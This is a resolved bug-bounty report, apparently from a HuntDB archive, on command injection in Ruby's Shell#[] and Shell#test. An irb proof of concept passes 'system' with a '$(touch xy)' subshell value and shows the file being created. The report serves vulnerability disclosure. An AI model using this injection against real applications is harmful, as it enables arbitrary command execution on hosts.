Loading HuntDB...

Potential command injection in `Shell#[]` and `Shell#test`

None
R
Ruby
Submitted None
Reported by ooooooo_q

Vulnerability Details

Technical details and impact analysis

Command Injection - Generic
As `Shell#test` and `Shell#[]` use `send` when transferring to FileTest, private methods etc. can also be called. Therefore, command injection is possible when a crafted value is passed. ```ruby $ irb irb(main):001:0> `ls xy` ls: xy: No such file or directory => "" irb(main):002:0> require 'shell' => true irb(main):003:0> sh = Shell.new => #<Shell:0x00007fc0c20f2a78> irb(main):004:0> sh['system', '$(touch xy)'] sh: /private/tmp/: is a directory => false irb(main):005:0> `ls xy` => "xy\n" ``` Since send is executed after the file path is converted to absolute path, it is difficult with `instance_eval` and `open` etc, but you can execute it using a subshell. ## Impact It seems almost unlikely that user input is given for the purpose, so it probably will not be affected in most cases. It may be feasible under complex conditions such as combining object injection and other problems.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$200.00

Submitted

Weakness

Command Injection - Generic